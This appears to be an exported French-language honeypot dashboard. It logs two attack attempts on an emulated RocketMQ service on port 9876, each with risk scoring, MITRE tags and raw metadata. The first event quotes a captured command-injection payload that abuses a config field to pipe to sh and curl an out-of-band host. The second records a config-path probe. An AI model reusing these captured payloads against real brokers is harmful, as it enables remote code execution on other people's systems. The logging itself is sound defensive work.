|
|
TCP |
9876 · ROCKETMQ
|
rocketmq
|
Injection de commande
cmd injection · via ROCKETMQ:9876 · (tentative d'exploit)
|
Élevée
|
Moyen · 54
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
Accès
Exécution
Protocole
Émulateur
ROCKETMQ
WAF
—
Recommandation
Investiguer
Tags
net_rocketmq_probe
rocketmq_emulated
rocketmq_payload
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
9876
Chemin / cible
—
Service
ROCKETMQ
Payload
� `{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1 rocke
Pourquoi cette classification : Type « Injection de commande » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0775
pat-0145
pat-0146
pat-0147
Tactiques MITRE
Accès initial
Exécution
Motifs de détection (base)
CRS 932120 pipe chain
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
Minecraft varint handshake
User-Agent
—
Règles WAF
—
Payload (extrait)
� `{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocke
Requête brute (extrait)
� `{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1 rocketmqHome=-c $@|sh . echo curl db60u08uns9tqo7brk0g9tskoid5worez.oast.fun/////////////;
Meta JSON brut
{"protocol_emulated":true,"emulator_response":"526f636b65744d510000000000000001","emulator_response_len":16,"bytes_in":214,"payload_entropy":5.4097881460557105,"port_category":"registered","org":"Datacamp Limited","service":"rocketmq","app_proto":"rocketmq","asn":212238,"country":"SG","dst_port":9876,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":3.9,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":54,"tag_count":3,"anomaly_count":0,"campaign_key":"773a64dde92a929009a98b4a1bffcd93adc96ccb","event_fingerprint":"69f1f514dc809742bc860cf5cf92d1f1632ae0f0","classification_reason":"Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":292,"precision_signals":["pat-0775","pat-0145","pat-0146","pat-0147"],"kb_rule_ids":["pat-0775","pat-0145","pat-0146","pat-0147"],"matched_patterns":["pat-0775","pat-0145","pat-0146","pat-0147","pat-0103","pat-0554"],"matched_pattern_names":["CRS 932120 pipe chain","CRS 932200","CRS 932205","CRS 932206","LFI Double-dot bypass","Minecraft varint handshake"],"pattern_ids":["pat-0775","pat-0145","pat-0146","pat-0147","pat-0103","pat-0554"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":54},"named_classification_skipped":false,"service_name":"rocketmq","…
|
|
|
TCP |
9876 · ROCKETMQ
|
rocketmq
|
Sonde RocketMQ
rocketmq probe · via ROCKETMQ:9876 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
Découverte
Accès
Protocole
Émulateur
ROCKETMQ
WAF
—
Recommandation
Surveiller
Tags
net_rocketmq_probe
redis_config_probe
rocketmq_emulated
rocketmq_payload
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
9876
Chemin / cible
—
Service
ROCKETMQ
Payload
� a{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}configStorePath=/tmp/pw
Pourquoi cette classification : Type « Sonde RocketMQ » (signaux protocolaires) · confiance 74%
Confiance classification
74%
Risque capteur
Faible
· 35
Confiance : Confiance 74 % — 4 signal(aux) capteur
Protocole émulé
1
Signaux
Mq Rocketmq
Upstream
Technique MITRE
TA0007
Tactiques MITRE
Découverte
Accès initial
Motifs de détection (base)
Minecraft varint handshake
User-Agent
—
Règles WAF
—
Payload (extrait)
� a{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}configStorePath=/tmp/pw
Requête brute (extrait)
� a{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}configStorePath=/tmp/pwned productEnvName=test/path\ntest\ntest
Meta JSON brut
{"protocol_emulated":true,"emulator_response":"526f636b65744d510000000000000001","emulator_response_len":16,"bytes_in":168,"payload_entropy":5.09830291437539,"port_category":"registered","org":"Datacamp Limited","service":"rocketmq","app_proto":"rocketmq","asn":212238,"country":"SG","dst_port":9876,"risk_waf":8,"risk_classification":32,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":4.3,"risk_breakdown":{"waf":8,"classification":32,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":35,"tag_count":4,"anomaly_count":0,"campaign_key":"05c88620f018952b74e6e673d9aee30a65317f7b","event_fingerprint":"69f1f514dc809742bc860cf5cf92d1f1632ae0f0","classification_reason":"Type \u00ab rocketmq_probe \u00bb (signaux protocolaires) \u00b7 confiance 74%","confidence":0.74,"classification_confidence":0.74,"precision_score":83,"precision_signals":["INT-mq-rocketmq","INT-upstream"],"kb_rule_ids":["INT-mq-rocketmq","INT-upstream"],"matched_patterns":["pat-0554"],"matched_pattern_names":["Minecraft varint handshake"],"pattern_ids":["pat-0554"],"confidence_breakdown":{"waf":8,"classification":32,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":35},"named_classification_skipped":false,"service_name":"rocketmq","risk_confidence_factor":74,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"SG","asn":212238,"org":"Datacamp Limited","is_datacenter":false,"is_tor_hint":false},"fingerprint":{"payload_hash":"a…
|